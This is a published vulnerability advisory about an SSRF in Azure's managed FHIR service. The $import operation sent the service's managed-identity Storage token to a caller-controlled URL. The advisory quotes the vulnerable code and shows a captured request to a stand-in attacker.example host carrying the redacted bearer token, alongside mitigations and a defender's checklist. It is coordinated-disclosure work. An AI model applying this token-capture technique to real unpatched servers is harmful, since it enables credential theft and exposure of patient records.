All Advisories

Azure Health Data Services FHIR

$import Forwards the Service's Managed Identity Token to a Caller-Controlled URL

Azure's managed FHIR service allowed callers with bulk-import rights to obtain the service's own Azure Storage access token. The service sent the token to a caller-controlled endpoint on its first request, without administrator privileges or interaction from another user. The captured token was valid for roughly 24 hours and represented permissions to read, change, and delete blobs in the tested account. Access to patient records or other data depends on the identity's assigned roles and the destination's network rules. Microsoft has fixed the issue in the managed service.

Authored byVolker Schönefeld, Simon Weber2026-09-05
SeverityCriticalCVSS 9.9CVSS 3.1 VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:LCWECWE-918 (Server-Side Request Forgery (SSRF))ProductAzure Health Data Services FHIRAffected VersionsMicrosoft FHIR Server through release/4.0.747, as deployed in the Azure Health Data Services FHIR service (continuously deployed managed service). Verified on release/4.0.722 and release/4.0.728.Fixed Inrelease/4.0.759 (PR #5536), deployed to the Azure Health Data Services FHIR service.

Description

The $import operation accepts a list of NDJSON source URLs. In the affected versions, ImportController checked that each input.url was absolute and had no query string, but did not restrict its host or storage account.

ImportController.cs (input.url validation, release/4.0.722)

foreach (var item in input)
{
if (!string.IsNullOrEmpty(item.Type) && !Enum.IsDefined(typeof(ResourceType), item.Type))
{
throw new RequestNotValidException(string.Format(Resources.UnsupportedResourceType, item.Type));
}
if (item.Url == null || !item.Url.IsAbsoluteUri || !string.IsNullOrEmpty(item.Url.Query))
{
throw new RequestNotValidException(string.Format(Resources.ImportRequestValueNotValid, "input.url"));
}
}

View source →

The import orchestrator passed each URL unchanged to a Storage BlobClient authenticated with the FHIR service's Managed Identity.

AzureAccessTokenClientInitializerV2.cs (sink, release/4.0.722)

public Task<BlobClient> GetAuthorizedBlobClientAsync(Uri blobUri)
{
EnsureArg.IsNotNull(blobUri, nameof(blobUri));
return Task.FromResult(new BlobClient(blobUri, CreateManagedIdentityCredential()));
}

View source →

The Storage SDK attached the Managed Identity bearer to the first outbound HEAD, without waiting for a 401 challenge. It required HTTPS but accepted any HTTPS host.

The captured token had audience https://storage.azure.com/ and a lifetime of roughly 24 hours. In the research deployment, the identity held Storage Blob Data Contributor on the account configured for both import and export. These accounts and their role assignments can differ in other deployments.

First outbound HEAD captured on the attacker endpoint (abridged and sanitized)

HEAD /pt.ndjson HTTP/1.1
Host: attacker.example
x-ms-version: 2025-05-05
User-Agent: azsdk-net-Storage.Blobs/12.24.1 (.NET 8.0.25; Microsoft Azure Linux 3.0)
Authorization: Bearer eyJ0eXAiOiJKV1Q...<redacted>
# decoded token claims (anti-replay fields omitted):
# aud = https://storage.azure.com/ (Azure Storage data-plane)
# xms_mirid = /subscriptions/.../fhirservices/<fhir-service> (the impersonated FHIR Managed Identity)
# exp - iat = 86700s (~24h)

The Azure source IP, Storage SDK User-Agent, and token's xms_mirid claim identified the managed FHIR service as the source. Under the MSRC rules of engagement, the token was captured but never replayed against Azure Storage.

The boundary crossed is between FHIR and Storage permissions: the caller held only FHIR Data Importer, while the captured token represented the service identity's Storage role. Token capture was confirmed on April 19 and re-verified on April 21, 2026, in a dedicated research subscription.

The issue was reported to MSRC in April 2026 (case 113959). Microsoft confirmed the behavior and deployed the fix before publication. PR #5536 checks source URLs against the configured storage account before creating an import job. It also restricts the destinations described in the companion data-access advisory. No CVE was assigned. We thank MSRC for coordinating the disclosure.

Impact

  • Exploitation requires FHIR Data Importer or another role granting import/action on a service configured for import. This FHIR permission alone grants no direct Storage access.
  • In the tested configuration, the captured identity's Contributor role permitted listing, reading, writing, and deleting blobs. This exposes patient records where present and accessible. Additional accounts may grant fewer permissions, including read-only access; the client using the token must still satisfy each account's network rules.

Mitigation

Microsoft has deployed the fix to Azure Health Data Services; managed-service customers do not need to install a patch. Self-hosted Microsoft FHIR Server deployments should update to release/4.0.759 or later.

Defender's Checklist

  • Review import permissions.

    Identify users and applications with import/action. Until the service is updated, restrict this permission to trusted import workflows.

  • Limit the service identity's Storage access.

    Keep only the account and container permissions required for import and export. A captured token represents those permissions, subject to the destination's network rules for the client using it.

  • Investigate possible exposure before the fix.

    If untrusted importers had access, review retained FHIR import logs and Storage operations by the service identity using timestamps, resource URIs, and request metadata. Storage logs alone cannot identify the FHIR caller or import job. Missing Storage activity does not exclude token capture; the captured token's lifetime was roughly 24 hours.

Severity Reasoning

AV:NImport requests and token transmission use network APIs.AC:LNo race condition or timing dependency is required.PR:LRequires the service-scoped FHIR Data Importer role or import/action permission.UI:NThe service makes the outbound request automatically.S:CThe captured token represents Storage permissions outside the caller's FHIR authorization.C:HThe identity's read permissions can expose sensitive blobs, subject to destination network rules. Token replay was not exercised.I:HThe tested Contributor assignment on the integration account permits blob writes and overwrites. Other accounts are limited by their own role assignments.A:LThe assessed availability impact is loss of individual blobs through the identity's delete permission; service-wide unavailability was not demonstrated.

References

How We Can Help

Who We Are

The security researchers behind this advisory.

Dr. Simon Weber Profile

Dr. rer. nat. Simon Weber

Senior Pentester & MedSec Researcher

I evaluate your SaMD with the same industry-defining security insight I contributed to the BAK MV for the revision of the B3S standard.

  • PhD on Hospital Cybersecurity
  • Critical vulnerabilities found in hospital systems
  • Alumni of THB MedSec Research Group
  • gematik Security Hero
Volker Schönefeld Profile

Dipl.-Inf. Volker Schönefeld

Senior Application Security Expert

As a former CTO and developer turned pentester, I work alongside your team to uncover vulnerabilities and find solutions that fit your architecture.

  • 20+ years as CTO, 50M+ app downloads
  • Architected and secured large-scale IoT fleets
  • Certified Web Exploitation Specialist
  • gematik Security Hero

Looking for a Penetration Test?

Machine Spirits specializes in security assessments for medical devices and healthcare IT. From MDR penetration testing to C5 cloud compliance, we help MedTech companies meet regulatory requirements.